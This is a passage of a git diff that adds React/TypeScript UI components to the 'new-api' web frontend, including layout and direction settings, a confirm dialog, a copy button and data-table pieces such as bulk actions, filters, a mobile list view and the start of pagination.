+      <div id='sidebar-description' className='sr-only'>
+        {t('Choose between inset, floating, or standard sidebar layout')}
+      </div>
+    </div>
+  )
+}
+
+function LayoutConfig() {
+  const { t } = useTranslation()
+  const { open, setOpen } = useSidebar()
+  const { defaultCollapsible, collapsible, setCollapsible } = useLayout()
+
+  const radioState = open ? 'default' : collapsible
+
+  return (
+    <div className='max-md:hidden'>
+      <SectionTitle
+        title={t('Layout')}
+        showReset={radioState !== 'default'}
+        onReset={() => {
+          setOpen(true)
+          setCollapsible(defaultCollapsible)
+        }}
+      />
+      <Radio
+        value={radioState}
+        onValueChange={(v) => {
+          if (v === 'default') {
+            setOpen(true)
+            return
+          }
+          setOpen(false)
+          setCollapsible(v as Collapsible)
+        }}
+        className='grid w-full max-w-md grid-cols-3 gap-4'
+        aria-label={t('Select layout style')}
+        aria-describedby='layout-description'
+      >
+        {[
+          {
+            value: 'default',
+            label: 'Default',
+            icon: IconLayoutDefault,
+          },
+          {
+            value: 'icon',
+            label: 'Compact',
+            icon: IconLayoutCompact,
+          },
+          {
+            value: 'offcanvas',
+            label: 'Full layout',
+            icon: IconLayoutFull,
+          },
+        ].map((item) => (
+          <RadioGroupItem key={item.value} item={item} />
+        ))}
+      </Radio>
+      <div id='layout-description' className='sr-only'>
+        {t(
+          'Choose between default expanded, compact icon-only, or full layout mode'
+        )}
+      </div>
+    </div>
+  )
+}
+
+function DirConfig() {
+  const { t } = useTranslation()
+  const { defaultDir, dir, setDir } = useDirection()
+  return (
+    <div>
+      <SectionTitle
+        title={t('Direction')}
+        showReset={defaultDir !== dir}
+        onReset={() => setDir(defaultDir)}
+      />
+      <Radio
+        value={dir}
+        onValueChange={setDir}
+        className='grid w-full max-w-md grid-cols-3 gap-4'
+        aria-label={t('Select site direction')}
+        aria-describedby='direction-description'
+      >
+        {[
+          {
+            value: 'ltr',
+            label: 'Left to Right',
+            icon: (props: SVGProps<SVGSVGElement>) => (
+              <IconDir dir='ltr' {...props} />
+            ),
+          },
+          {
+            value: 'rtl',
+            label: 'Right to Left',
+            icon: (props: SVGProps<SVGSVGElement>) => (
+              <IconDir dir='rtl' {...props} />
+            ),
+          },
+        ].map((item) => (
+          <RadioGroupItem key={item.value} item={item} />
+        ))}
+      </Radio>
+      <div id='direction-description' className='sr-only'>
+        {t('Choose between left-to-right or right-to-left site direction')}
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/confirm-dialog.tsx b/new-api/web/default/src/components/confirm-dialog.tsx
new file mode 100644
index 0000000..bbffd00
--- /dev/null
+++ b/new-api/web/default/src/components/confirm-dialog.tsx
@@ -0,0 +1,69 @@
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import {
+  AlertDialog,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from '@/components/ui/alert-dialog'
+import { Button } from '@/components/ui/button'
+
+type ConfirmDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  title: React.ReactNode
+  disabled?: boolean
+  desc: React.JSX.Element | string
+  cancelBtnText?: string
+  confirmText?: React.ReactNode
+  destructive?: boolean
+  handleConfirm: () => void
+  isLoading?: boolean
+  className?: string
+  children?: React.ReactNode
+}
+
+export function ConfirmDialog(props: ConfirmDialogProps) {
+  const { t } = useTranslation()
+  const {
+    title,
+    desc,
+    children,
+    className,
+    confirmText,
+    cancelBtnText,
+    destructive,
+    isLoading,
+    disabled = false,
+    handleConfirm,
+    ...actions
+  } = props
+  return (
+    <AlertDialog {...actions}>
+      <AlertDialogContent className={cn(className && className)}>
+        <AlertDialogHeader className='text-start'>
+          <AlertDialogTitle>{title}</AlertDialogTitle>
+          <AlertDialogDescription asChild>
+            <div>{desc}</div>
+          </AlertDialogDescription>
+        </AlertDialogHeader>
+        {children}
+        <AlertDialogFooter>
+          <AlertDialogCancel disabled={isLoading}>
+            {cancelBtnText ?? t('Cancel')}
+          </AlertDialogCancel>
+          <Button
+            variant={destructive ? 'destructive' : 'default'}
+            onClick={handleConfirm}
+            disabled={disabled || isLoading}
+          >
+            {confirmText ?? t('Continue')}
+          </Button>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  )
+}
diff --git a/new-api/web/default/src/components/copy-button.tsx b/new-api/web/default/src/components/copy-button.tsx
new file mode 100644
index 0000000..3a487c7
--- /dev/null
+++ b/new-api/web/default/src/components/copy-button.tsx
@@ -0,0 +1,73 @@
+import { type ReactNode } from 'react'
+import { Check, Copy } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
+import { Button } from '@/components/ui/button'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+
+interface CopyButtonProps {
+  value: string
+  children?: ReactNode
+  className?: string
+  iconClassName?: string
+  variant?: 'ghost' | 'outline' | 'default' | 'secondary' | 'destructive'
+  size?: 'default' | 'sm' | 'lg' | 'icon'
+  tooltip?: string
+  successTooltip?: string
+  'aria-label'?: string
+}
+
+export function CopyButton({
+  value,
+  children,
+  className,
+  iconClassName,
+  variant = 'ghost',
+  size = 'icon',
+  tooltip,
+  successTooltip,
+  'aria-label': ariaLabel,
+}: CopyButtonProps) {
+  const { t } = useTranslation()
+  const { copiedText, copyToClipboard } = useCopyToClipboard({ notify: false })
+  const isCopied = copiedText === value
+  const resolvedTooltip = tooltip ?? t('Copy to clipboard')
+  const resolvedSuccessTooltip = successTooltip ?? t('Copied!')
+  const resolvedAriaLabel = ariaLabel ?? resolvedTooltip
+  const copiedAriaLabel = t('Copied')
+
+  const button = (
+    <Button
+      variant={variant}
+      size={size}
+      className={cn('shrink-0', className)}
+      onClick={() => copyToClipboard(value)}
+      aria-label={isCopied ? copiedAriaLabel : resolvedAriaLabel}
+    >
+      {isCopied ? (
+        <Check className={cn('text-green-600', iconClassName)} />
+      ) : (
+        <Copy className={cn(iconClassName)} />
+      )}
+      {children}
+    </Button>
+  )
+
+  if (tooltip || successTooltip) {
+    return (
+      <Tooltip>
+        <TooltipTrigger asChild>{button}</TooltipTrigger>
+        <TooltipContent>
+          <p>{isCopied ? resolvedSuccessTooltip : resolvedTooltip}</p>
+        </TooltipContent>
+      </Tooltip>
+    )
+  }
+
+  return button
+}
diff --git a/new-api/web/default/src/components/data-table/bulk-actions.tsx b/new-api/web/default/src/components/data-table/bulk-actions.tsx
new file mode 100644
index 0000000..3f53741
--- /dev/null
+++ b/new-api/web/default/src/components/data-table/bulk-actions.tsx
@@ -0,0 +1,212 @@
+import { useState, useEffect, useRef } from 'react'
+import { type Table } from '@tanstack/react-table'
+import { X } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Badge } from '@/components/ui/badge'
+import { Button } from '@/components/ui/button'
+import { Separator } from '@/components/ui/separator'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+
+type DataTableBulkActionsProps<TData> = {
+  table: Table<TData>
+  entityName: string
+  children: React.ReactNode
+}
+
+/**
+ * A modular toolbar for displaying bulk actions when table rows are selected.
+ *
+ * @template TData The type of data in the table.
+ * @param {object} props The component props.
+ * @param {Table<TData>} props.table The react-table instance.
+ * @param {string} props.entityName The name of the entity being acted upon (e.g., "task", "user").
+ * @param {React.ReactNode} props.children The action buttons to be rendered inside the toolbar.
+ * @returns {React.ReactNode | null} The rendered component or null if no rows are selected.
+ */
+export function DataTableBulkActions<TData>({
+  table,
+  entityName,
+  children,
+}: DataTableBulkActionsProps<TData>): React.ReactNode | null {
+  const { t } = useTranslation()
+  const selectedRows = table.getFilteredSelectedRowModel().rows
+  const selectedCount = selectedRows.length
+  const toolbarRef = useRef<HTMLDivElement>(null)
+  const [announcement, setAnnouncement] = useState('')
+
+  // Announce selection changes to screen readers
+  useEffect(() => {
+    if (selectedCount > 0) {
+      const message = `${selectedCount} ${entityName}${selectedCount > 1 ? 's' : ''} selected. Bulk actions toolbar is available.`
+      // eslint-disable-next-line react-hooks/set-state-in-effect
+      setAnnouncement(message)
+
+      // Clear announcement after a delay
+      const timer = setTimeout(() => setAnnouncement(''), 3000)
+      return () => clearTimeout(timer)
+    }
+  }, [selectedCount, entityName])
+
+  const handleClearSelection = () => {
+    table.resetRowSelection()
+  }
+
+  const handleKeyDown = (event: React.KeyboardEvent) => {
+    const buttons = toolbarRef.current?.querySelectorAll('button')
+    if (!buttons) return
+
+    const currentIndex = Array.from(buttons).findIndex(
+      (button) => button === document.activeElement
+    )
+
+    switch (event.key) {
+      case 'ArrowRight': {
+        event.preventDefault()
+        const nextIndex = (currentIndex + 1) % buttons.length
+        buttons[nextIndex]?.focus()
+        break
+      }
+      case 'ArrowLeft': {
+        event.preventDefault()
+        const prevIndex =
+          currentIndex === 0 ? buttons.length - 1 : currentIndex - 1
+        buttons[prevIndex]?.focus()
+        break
+      }
+      case 'Home':
+        event.preventDefault()
+        buttons[0]?.focus()
+        break
+      case 'End':
+        event.preventDefault()
+        buttons[buttons.length - 1]?.focus()
+        break
+      case 'Escape': {
+        // Check if the Escape key came from a dropdown trigger or content
+        // We can't check dropdown state because Radix UI closes it before our handler runs
+        const target = event.target as HTMLElement
+        const activeElement = document.activeElement as HTMLElement
+
+        // Check if the event target or currently focused element is a dropdown trigger
+        const isFromDropdownTrigger =
+          target?.getAttribute('data-slot') === 'dropdown-menu-trigger' ||
+          activeElement?.getAttribute('data-slot') ===
+            'dropdown-menu-trigger' ||
+          target?.closest('[data-slot="dropdown-menu-trigger"]') ||
+          activeElement?.closest('[data-slot="dropdown-menu-trigger"]')
+
+        // Check if the focused element is inside dropdown content (which is portaled)
+        const isFromDropdownContent =
+          activeElement?.closest('[data-slot="dropdown-menu-content"]') ||
+          target?.closest('[data-slot="dropdown-menu-content"]')
+
+        if (isFromDropdownTrigger || isFromDropdownContent) {
+          // Escape was meant for the dropdown - don't clear selection
+          return
+        }
+
+        // Escape was meant for the toolbar - clear selection
+        event.preventDefault()
+        handleClearSelection()
+        break
+      }
+    }
+  }
+
+  if (selectedCount === 0) {
+    return null
+  }
+
+  return (
+    <>
+      {/* Live region for screen reader announcements */}
+      <div
+        aria-live='polite'
+        aria-atomic='true'
+        className='sr-only'
+        role='status'
+      >
+        {announcement}
+      </div>
+
+      <div
+        ref={toolbarRef}
+        role='toolbar'
+        aria-label={`Bulk actions for ${selectedCount} selected ${entityName}${selectedCount > 1 ? 's' : ''}`}
+        aria-describedby='bulk-actions-description'
+        tabIndex={-1}
+        onKeyDown={handleKeyDown}
+        className={cn(
+          'fixed bottom-6 left-1/2 z-50 -translate-x-1/2 rounded-xl',
+          'transition-all delay-100 duration-300 ease-out hover:scale-105',
+          'focus-visible:ring-ring/50 focus-visible:ring-2 focus-visible:outline-none'
+        )}
+      >
+        <div
+          className={cn(
+            'p-2 shadow-xl',
+            'rounded-xl border',
+            'bg-background/95 supports-[backdrop-filter]:bg-background/60 backdrop-blur-lg',
+            'flex items-center gap-x-2'
+          )}
+        >
+          <Tooltip>
+            <TooltipTrigger asChild>
+              <Button
+                variant='outline'
+                size='icon'
+                onClick={handleClearSelection}
+                className='size-6 rounded-full'
+                aria-label={t('Clear selection')}
+                title={t('Clear selection (Escape)')}
+              >
+                <X />
+                <span className='sr-only'>{t('Clear selection')}</span>
+              </Button>
+            </TooltipTrigger>
+            <TooltipContent>
+              <p>{t('Clear selection (Escape)')}</p>
+            </TooltipContent>
+          </Tooltip>
+
+          <Separator
+            className='h-5'
+            orientation='vertical'
+            aria-hidden='true'
+          />
+
+          <div
+            className='flex items-center gap-x-1 text-sm'
+            id='bulk-actions-description'
+          >
+            <Badge
+              variant='default'
+              className='min-w-8 rounded-lg'
+              aria-label={`${selectedCount} selected`}
+            >
+              {selectedCount}
+            </Badge>{' '}
+            <span className='hidden sm:inline'>
+              {entityName}
+              {selectedCount > 1 ? 's' : ''}
+            </span>{' '}
+            {t('selected')}
+          </div>
+
+          <Separator
+            className='h-5'
+            orientation='vertical'
+            aria-hidden='true'
+          />
+
+          {children}
+        </div>
+      </div>
+    </>
+  )
+}
diff --git a/new-api/web/default/src/components/data-table/column-header.tsx b/new-api/web/default/src/components/data-table/column-header.tsx
new file mode 100644
index 0000000..50da0e2
--- /dev/null
+++ b/new-api/web/default/src/components/data-table/column-header.tsx
@@ -0,0 +1,76 @@
+import {
+  ArrowDownIcon,
+  ArrowUpIcon,
+  CaretSortIcon,
+  EyeNoneIcon,
+} from '@radix-ui/react-icons'
+import { type Column } from '@tanstack/react-table'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+
+type DataTableColumnHeaderProps<TData, TValue> =
+  React.HTMLAttributes<HTMLDivElement> & {
+    column: Column<TData, TValue>
+    title: React.ReactNode
+  }
+
+export function DataTableColumnHeader<TData, TValue>({
+  column,
+  title,
+  className,
+}: DataTableColumnHeaderProps<TData, TValue>) {
+  const { t } = useTranslation()
+  if (!column.getCanSort()) {
+    return <div className={cn(className)}>{title}</div>
+  }
+
+  return (
+    <div className={cn('flex items-center space-x-2', className)}>
+      <DropdownMenu>
+        <DropdownMenuTrigger asChild>
+          <Button
+            variant='ghost'
+            size='sm'
+            className='data-[state=open]:bg-accent -ms-3 h-8'
+          >
+            <span>{title}</span>
+            {column.getIsSorted() === 'desc' ? (
+              <ArrowDownIcon className='ms-2 h-4 w-4' />
+            ) : column.getIsSorted() === 'asc' ? (
+              <ArrowUpIcon className='ms-2 h-4 w-4' />
+            ) : (
+              <CaretSortIcon className='ms-2 h-4 w-4' />
+            )}
+          </Button>
+        </DropdownMenuTrigger>
+        <DropdownMenuContent align='start'>
+          <DropdownMenuItem onClick={() => column.toggleSorting(false)}>
+            <ArrowUpIcon className='text-muted-foreground/70 size-3.5' />
+            {t('Asc')}
+          </DropdownMenuItem>
+          <DropdownMenuItem onClick={() => column.toggleSorting(true)}>
+            <ArrowDownIcon className='text-muted-foreground/70 size-3.5' />
+            {t('Desc')}
+          </DropdownMenuItem>
+          {column.getCanHide() && (
+            <>
+              <DropdownMenuSeparator />
+              <DropdownMenuItem onClick={() => column.toggleVisibility(false)}>
+                <EyeNoneIcon className='text-muted-foreground/70 size-3.5' />
+                {t('Hide')}
+              </DropdownMenuItem>
+            </>
+          )}
+        </DropdownMenuContent>
+      </DropdownMenu>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/data-table/faceted-filter.tsx b/new-api/web/default/src/components/data-table/faceted-filter.tsx
new file mode 100644
index 0000000..62ebe7f
--- /dev/null
+++ b/new-api/web/default/src/components/data-table/faceted-filter.tsx
@@ -0,0 +1,176 @@
+import * as React from 'react'
+import { CheckIcon, PlusCircledIcon } from '@radix-ui/react-icons'
+import { type Column } from '@tanstack/react-table'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Badge } from '@/components/ui/badge'
+import { Button } from '@/components/ui/button'
+import {
+  Command,
+  CommandEmpty,
+  CommandGroup,
+  CommandInput,
+  CommandItem,
+  CommandList,
+  CommandSeparator,
+} from '@/components/ui/command'
+import {
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+} from '@/components/ui/popover'
+import { Separator } from '@/components/ui/separator'
+
+type DataTableFacetedFilterProps<TData, TValue> = {
+  column?: Column<TData, TValue>
+  title?: string
+  options: {
+    label: string
+    value: string
+    icon?: React.ComponentType<{ className?: string }>
+    iconNode?: React.ReactNode
+    count?: number
+  }[]
+  /** Enable single select mode (only one option can be selected at a time) */
+  singleSelect?: boolean
+}
+
+export function DataTableFacetedFilter<TData, TValue>({
+  column,
+  title,
+  options,
+  singleSelect = false,
+}: DataTableFacetedFilterProps<TData, TValue>) {
+  const { t } = useTranslation()
+  const facets = column?.getFacetedUniqueValues()
+  const filterValue = column?.getFilterValue() as string[] | undefined
+  const selectedValues = new Set(filterValue)
+
+  return (
+    <Popover>
+      <PopoverTrigger asChild>
+        <Button variant='outline' size='sm' className='h-8 border-dashed'>
+          <PlusCircledIcon className='size-4' />
+          {title}
+          {selectedValues?.size > 0 && (
+            <>
+              <Separator orientation='vertical' className='mx-2 h-4' />
+              <Badge
+                variant='secondary'
+                className='rounded-sm px-1 font-normal lg:hidden'
+              >
+                {selectedValues.size}
+              </Badge>
+              <div className='hidden space-x-1 lg:flex'>
+                {selectedValues.size > 2 ? (
+                  <Badge
+                    variant='secondary'
+                    className='rounded-sm px-1 font-normal'
+                  >
+                    {selectedValues.size} {t('selected')}
+                  </Badge>
+                ) : (
+                  options
+                    .filter((option) => selectedValues.has(option.value))
+                    .map((option) => (
+                      <Badge
+                        variant='secondary'
+                        key={option.value}
+                        className='rounded-sm px-1 font-normal'
+                      >
+                        {t(option.label)}
+                      </Badge>
+                    ))
+                )}
+              </div>
+            </>
+          )}
+        </Button>
+      </PopoverTrigger>
+      <PopoverContent className='w-[200px] p-0' align='start'>
+        <Command>
+          <CommandInput placeholder={title} />
+          <CommandList>
+            <CommandEmpty>{t('No results found.')}</CommandEmpty>
+            <CommandGroup>
+              {options.map((option) => {
+                const isSelected = selectedValues.has(option.value)
+                return (
+                  <CommandItem
+                    key={option.value}
+                    onSelect={() => {
+                      if (singleSelect) {
+                        // Single select mode: toggle or switch selection
+                        if (isSelected) {
+                          // Deselect if clicking the same option
+                          column?.setFilterValue(undefined)
+                        } else {
+                          // Select only this option
+                          column?.setFilterValue([option.value])
+                        }
+                      } else {
+                        // Multi-select mode: original behavior
+                        if (isSelected) {
+                          selectedValues.delete(option.value)
+                        } else {
+                          selectedValues.add(option.value)
+                        }
+                        const filterValues = Array.from(selectedValues)
+                        column?.setFilterValue(
+                          filterValues.length ? filterValues : undefined
+                        )
+                      }
+                    }}
+                  >
+                    <div
+                      className={cn(
+                        'border-primary flex size-4 items-center justify-center rounded-sm border',
+                        isSelected
+                          ? 'bg-primary text-primary-foreground'
+                          : 'opacity-50 [&_svg]:invisible'
+                      )}
+                    >
+                      <CheckIcon className={cn('text-background h-4 w-4')} />
+                    </div>
+                    {option.iconNode ? (
+                      <span className='text-muted-foreground flex size-4 items-center justify-center'>
+                        {option.iconNode}
+                      </span>
+                    ) : option.icon ? (
+                      <option.icon className='text-muted-foreground size-4' />
+                    ) : null}
+                    <span className='min-w-0 flex-1 truncate'>
+                      {t(option.label)}
+                    </span>
+                    {typeof option.count === 'number' ? (
+                      <span className='text-muted-foreground ms-auto flex h-4 min-w-4 items-center justify-center font-mono text-xs'>
+                        {option.count}
+                      </span>
+                    ) : facets?.get(option.value) ? (
+                      <span className='ms-auto flex h-4 w-4 items-center justify-center font-mono text-xs'>
+                        {facets.get(option.value)}
+                      </span>
+                    ) : null}
+                  </CommandItem>
+                )
+              })}
+            </CommandGroup>
+            {selectedValues.size > 0 && (
+              <>
+                <CommandSeparator />
+                <CommandGroup>
+                  <CommandItem
+                    onSelect={() => column?.setFilterValue(undefined)}
+                    className='justify-center text-center'
+                  >
+                    {t('Clear filters')}
+                  </CommandItem>
+                </CommandGroup>
+              </>
+            )}
+          </CommandList>
+        </Command>
+      </PopoverContent>
+    </Popover>
+  )
+}
diff --git a/new-api/web/default/src/components/data-table/index.ts b/new-api/web/default/src/components/data-table/index.ts
new file mode 100644
index 0000000..cde4653
--- /dev/null
+++ b/new-api/web/default/src/components/data-table/index.ts
@@ -0,0 +1,9 @@
+export { DataTablePagination } from './pagination'
+export { DataTableColumnHeader } from './column-header'
+export { DataTableFacetedFilter } from './faceted-filter'
+export { DataTableViewOptions } from './view-options'
+export { DataTableToolbar } from './toolbar'
+export { DataTableBulkActions } from './bulk-actions'
+export { TableSkeleton } from './table-skeleton'
+export { TableEmpty } from './table-empty'
+export { MobileCardList } from './mobile-card-list'
diff --git a/new-api/web/default/src/components/data-table/mobile-card-list.tsx b/new-api/web/default/src/components/data-table/mobile-card-list.tsx
new file mode 100644
index 0000000..feefe18
--- /dev/null
+++ b/new-api/web/default/src/components/data-table/mobile-card-list.tsx
@@ -0,0 +1,294 @@
+import {
+  flexRender,
+  type Cell,
+  type Row,
+  type Table,
+} from '@tanstack/react-table'
+import { Database } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import {
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyMedia,
+  EmptyTitle,
+} from '@/components/ui/empty'
+import { Skeleton } from '@/components/ui/skeleton'
+import { cn } from '@/lib/utils'
+
+interface MobileCardListProps<TData> {
+  table: Table<TData>
+  isLoading?: boolean
+  emptyTitle?: string
+  emptyDescription?: string
+  getRowKey?: (row: Row<TData>) => string | number
+  getRowClassName?: (row: Row<TData>) => string | undefined
+}
+
+interface MobileColumnMeta {
+  label?: string
+  mobileTitle?: boolean
+  mobileBadge?: boolean
+  mobileHidden?: boolean
+}
+
+function getCellMeta<TData>(
+  cell: Cell<TData, unknown>
+): MobileColumnMeta | undefined {
+  return cell.column.columnDef.meta as MobileColumnMeta | undefined
+}
+
+function getCellLabel<TData>(cell: Cell<TData, unknown>): string | null {
+  const meta = getCellMeta(cell)
+  if (meta?.label) return meta.label
+  const header = cell.column.columnDef.header
+  return typeof header === 'string' ? header : null
+}
+
+function renderCellContent<TData>(cell: Cell<TData, unknown>): React.ReactNode {
+  const cellRenderer = cell.column.columnDef.cell
+  if (cellRenderer) {
+    return flexRender(cellRenderer, cell.getContext())
+  }
+  return cell.getValue() as React.ReactNode
+}
+
+function ListSkeleton() {
+  return (
+    <div className='divide-y overflow-hidden rounded-lg border'>
+      {[1, 2, 3, 4, 5].map((i) => (
+        <div key={i} className='px-3 py-2.5'>
+          <div className='flex items-center justify-between'>
+            <Skeleton className='h-4 w-32' />
+            <Skeleton className='h-5 w-16 rounded-full' />
+          </div>
+          <div className='mt-1.5 flex items-start gap-4'>
+            <div className='flex-1'>
+              <Skeleton className='mb-1 h-2 w-8' />
+              <Skeleton className='h-4 w-full' />
+            </div>
+            <div className='flex-1'>
+              <Skeleton className='mb-1 h-2 w-8' />
+              <Skeleton className='h-4 w-full' />
+            </div>
+          </div>
+        </div>
+      ))}
+    </div>
+  )
+}
+
+function FallbackListSkeleton() {
+  return (
+    <div className='divide-y overflow-hidden rounded-lg border'>
+      {[1, 2, 3, 4, 5].map((i) => (
+        <div key={i} className='space-y-1.5 px-3 py-2.5'>
+          {[1, 2, 3].map((j) => (
+            <div key={j} className='flex items-center justify-between'>
+              <Skeleton className='h-2.5 w-16' />
+              <Skeleton className='h-3.5 w-28' />
+            </div>
+          ))}
+        </div>
+      ))}
+    </div>
+  )
+}
+
+/**
+ * Compact list row — structured layout with title header + side-by-side fields.
+ * Used when columns define mobileTitle or mobileBadge meta.
+ *
+ * Visual structure per row:
+ *   [Title content]             [Badge]
+ *   [Field1 label] [Field2 label]
+ *   [Field1 value] [Field2 value]
+ *                          [Actions ⋯]
+ */
+function CompactRow<TData>({ row }: { row: Row<TData> }) {
+  const allCells = row
+    .getVisibleCells()
+    .filter((cell) => cell.column.id !== 'select')
+
+  const titleCell = allCells.find((c) => getCellMeta(c)?.mobileTitle)
+  const badgeCell = allCells.find((c) => getCellMeta(c)?.mobileBadge)
+  const actionsCell = allCells.find((c) => c.column.id === 'actions')
+
+  const fieldCells = allCells.filter(
+    (c) =>
+      c !== titleCell &&
+      c !== badgeCell &&
+      c !== actionsCell &&
+      !getCellMeta(c)?.mobileHidden
+  )
+
+  return (
+    <>
+      {/* Row 1: Title + Badge */}
+      <div className='flex items-center justify-between gap-2'>
+        {titleCell && (
+          <div className='min-w-0 flex-1 overflow-hidden text-sm font-medium'>
+            {renderCellContent(titleCell)}
+          </div>
+        )}
+        {badgeCell && (
+          <div className='shrink-0'>{renderCellContent(badgeCell)}</div>
+        )}
+      </div>
+
+      {/* Row 2: Key fields side by side */}
+      {fieldCells.length > 0 && (
+        <div className='mt-1.5 flex items-start gap-4'>
+          {fieldCells.map((cell) => {
+            const label = getCellLabel(cell)
+            return (
+              <div key={cell.id} className='min-w-0 flex-1 overflow-hidden'>
+                {label && (
+                  <div className='text-muted-foreground mb-0.5 text-[10px] leading-none select-none'>
+                    {label}
+                  </div>
+                )}
+                <div className='min-w-0 overflow-hidden text-xs'>
+                  {renderCellContent(cell) ?? '-'}
+                </div>
+              </div>
+            )
+          })}
+        </div>
+      )}
+
+      {/* Actions */}
+      {actionsCell && (
+        <div className='mt-1 -mb-0.5 flex justify-end'>
+          {renderCellContent(actionsCell)}
+        </div>
+      )}
+    </>
+  )
+}
+
+/**
+ * Fallback list row — condensed label:value pairs for tables without
+ * mobileTitle/mobileBadge. Still respects mobileHidden.
+ */
+function FallbackRow<TData>({ row }: { row: Row<TData> }) {
+  const allCells = row
+    .getVisibleCells()
+    .filter((cell) => cell.column.id !== 'select')
+
+  const actionsCell = allCells.find((c) => c.column.id === 'actions')
+  const contentCells = allCells.filter(
+    (c) => c.column.id !== 'actions' && !getCellMeta(c)?.mobileHidden
+  )
+
+  return (
+    <>
+      {contentCells.map((cell) => {
+        const label = getCellLabel(cell)
+        const content = renderCellContent(cell)
+
+        if (!label) {
+          return (
+            <div key={cell.id} className='flex justify-end overflow-hidden'>
+              {content}
+            </div>
+          )
+        }
+
+        return (
+          <div
+            key={cell.id}
+            className='flex items-start justify-between gap-2 overflow-hidden'
+          >
+            <span className='text-muted-foreground shrink-0 text-[10px] font-medium select-none'>
+              {label}
+            </span>
+            <div className='flex min-w-0 flex-1 items-center justify-end overflow-hidden text-xs'>
+              {content ?? '-'}
+            </div>
+          </div>
+        )
+      })}
+      {actionsCell && (
+        <div className='-mb-0.5 flex justify-end pt-0.5'>
+          {renderCellContent(actionsCell)}
+        </div>
+      )}
+    </>
+  )
+}
+
+/**
+ * Mobile-optimized list view for table data.
+ *
+ * Renders rows inside a single bordered container with dividers —
+ * a Vercel/Stripe-style list rather than individual cards.
+ *
+ * Column meta extensions:
+ * - `mobileTitle`  — card header (left, larger text)
+ * - `mobileBadge`  — inline with title (right, e.g. status badge)
+ * - `mobileHidden` — hidden on mobile
+ *
+ * When mobileTitle or mobileBadge is set on any column, uses a structured
+ * two-tier layout: title+badge header, then 2 key fields side-by-side.
+ * Otherwise falls back to a condensed single-column label:value list.
+ */
+export function MobileCardList<TData>(props: MobileCardListProps<TData>) {
+  const {
+    table,
+    isLoading = false,
+    emptyTitle,
+    emptyDescription,
+    getRowKey,
+    getRowClassName,
+  } = props
+  const { t } = useTranslation()
+
+  const resolvedEmptyTitle = emptyTitle ?? t('No Data')
+  const resolvedEmptyDescription = emptyDescription ?? t('No data available')
+
+  const hasCompactMeta = table.getVisibleLeafColumns().some((col) => {
+    const meta = col.columnDef.meta as MobileColumnMeta | undefined
+    return meta?.mobileTitle || meta?.mobileBadge
+  })
+
+  if (isLoading) {
+    return hasCompactMeta ? <ListSkeleton /> : <FallbackListSkeleton />
+  }
+
+  const rows = table.getRowModel().rows
+
+  if (!rows || rows.length === 0) {
+    return (
+      <div className='rounded-lg border p-8'>
+        <Empty className='border-none p-0'>
+          <EmptyHeader>
+            <EmptyMedia variant='icon'>
+              <Database className='size-6' />
+            </EmptyMedia>
+            <EmptyTitle>{resolvedEmptyTitle}</EmptyTitle>
+            <EmptyDescription>{resolvedEmptyDescription}</EmptyDescription>
+          </EmptyHeader>
+        </Empty>
+      </div>
+    )
+  }
+
+  const RowComponent = hasCompactMeta ? CompactRow : FallbackRow
+
+  return (
+    <div className='divide-y overflow-hidden rounded-lg border'>
+      {rows.map((row) => {
+        const key = getRowKey ? getRowKey(row) : row.id
+        return (
+          <div
+            key={key}
+            className={cn('bg-card px-3 py-2.5', getRowClassName?.(row))}
+          >
+            <RowComponent row={row} />
+          </div>
+        )
+      })}
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/data-table/pagination.tsx b/new-api/web/default/src/components/data-table/pagination.tsx
new file mode 100644
index 0000000..e140be9
--- /dev/null
+++ b/new-api/web/default/src/components/data-table/pagination.tsx
@@ -0,0 +1,137 @@
+import {
+  ChevronLeftIcon,
+  ChevronRightIcon,
+  DoubleArrowLeftIcon,
+  DoubleArrowRightIcon,
+} from '@radix-ui/react-icons'
+import { type Table } from '@tanstack/react-table'
+import { useTranslation } from 'react-i18next'
+import { cn, getPageNumbers } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+
+type DataTablePaginationProps<TData> = {
+  table: Table<TData>
+}
+
+export function DataTablePagination<TData>({
+  table,
+}: DataTablePaginationProps<TData>) {
+  const { t } = useTranslation()
+  const currentPage = table.getState().pagination.pageIndex + 1
+  const totalPages = table.getPageCount()
+  const pageNumbers = getPageNumbers(currentPage, totalPages)
+
+  return (
+    <div
+      className={cn(
+        'flex items-center justify-between overflow-clip',
+        '@max-2xl/content:flex-col-reverse @max-2xl/content:gap-4'
+      )}
+      style={{ overflowClipMargin: 1 }}
+    >
+      <div className='flex w-full items-center justify-between'>
+        <div className='flex min-w-[130px] items-center text-sm font-medium whitespace-nowrap @2xl/content:hidden'>
+          {t('Page {{current}} of {{total}}', {
+            current: currentPage,
+            total: totalPages,
+          })}
+        </div>
+        <div className='flex items-center gap-2 @max-2xl/content:flex-row-reverse'>
+          <Select
+            value={`${table.getState().pagination.pageSize}`}
+            onValueChange={(value) => {
+              table.setPageSize(Number(value))
+            }}
+          >
+            <SelectTrigger className='h-8 w-[70px]'>
